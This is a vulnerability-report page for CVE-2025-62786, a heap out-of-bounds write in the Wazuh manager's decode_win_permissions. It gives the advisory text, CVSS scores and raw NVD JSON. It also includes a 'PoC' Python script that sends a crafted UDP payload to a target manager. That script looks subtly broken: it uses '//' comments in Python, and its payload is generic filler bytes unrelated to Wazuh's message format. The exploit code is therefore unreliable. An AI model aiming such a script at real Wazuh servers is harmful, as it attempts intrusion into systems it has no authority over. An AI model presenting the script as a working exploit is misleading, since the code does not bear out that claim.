Security Vulnerability Report
中文
CVE-2025-62786 CVSS 8.1 HIGH

CVE-2025-62786

Published: 2025-10-29 16:15:35
Last Modified: 2025-11-03 19:33:58

Description

Wazuh is a free and open source platform used for threat prevention, detection, and response. A heap-based out-of-bounds WRITE occurs in decode_win_permissions, resulting in writing a NULL byte 2 bytes before the start of the buffer allocated to decoded_it. A compromised agent can potentially leverage this issue to perform remote code execution, by sending a specially crafted message to the wazuh manager. An attacker who is able to craft and send an agent message to the wazuh manager can leverage this issue to potentially achieve remote code execution on the wazuh manager (the exploitability of this vulnerability depends on the specifics of the respective heap allocator). This vulnerability is fixed in 4.10.2.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wazuh:wazuh:*:*:*:*:*:*:*:* - VULNERABLE
Wazuh < 4.10.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62786 PoC - Malicious Wazuh Agent Message // This PoC demonstrates the heap-based buffer overflow in decode_win_permissions import struct import socket def create_malicious_message(): """ Create a malicious Wazuh agent message that triggers the vulnerability """ # Wazuh message header msg_size = 1024 # Malformed Windows permissions that trigger out-of-bounds write # The vulnerability occurs when decoding Windows ACL permissions malicious_payload = b'A' * 512 # Padding # Craft specific Windows permission data that causes NULL byte write # before the allocated buffer in decode_win_permissions win_perms = b'\x00\x00' + b'\xff' * 100 message = struct.pack('<I', msg_size) # Message size message += malicious_payload + win_perms return message def send_exploit(target_ip, target_port=1514): """ Send the malicious message to Wazuh manager """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = create_malicious_message() sock.sendto(payload, (target_ip, target_port)) print(f'[+] Malicious message sent to {target_ip}:{target_port}') print(f'[+] Message size: {len(payload)} bytes') sock.close() except Exception as e: print(f'[-] Error: {e}') if __name__ == '__main__': import sys if len(sys.argv) < 2: print('Usage: python cve_2025_62786_poc.py <target_ip>') sys.exit(1) target = sys.argv[1] send_exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62786", "sourceIdentifier": "[email protected]", "published": "2025-10-29T16:15:34.850", "lastModified": "2025-11-03T19:33:58.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wazuh is a free and open source platform used for threat prevention, detection, and response. A heap-based out-of-bounds WRITE occurs in decode_win_permissions, resulting in writing a NULL byte 2 bytes before the start of the buffer allocated to decoded_it. A compromised agent can potentially leverage this issue to perform remote code execution, by sending a specially crafted message to the wazuh manager. An attacker who is able to craft and send an agent message to the wazuh manager can leverage this issue to potentially achieve remote code execution on the wazuh manager (the exploitability of this vulnerability depends on the specifics of the respective heap allocator). This vulnerability is fixed in 4.10.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-124"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wazuh:wazuh:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.10.2", "matchCriteriaId": "B541CA8F-6E0F-4098-9463-3B713ED4F463"}]}]}], "references": [{"url": "https://github.com/wazuh/wazuh/commit/2257d7998aaff34263169d16f4afc491564a771c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/wazuh/wazuh/security/advisories/GHSA-2c8r-p6r5-xxmr", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}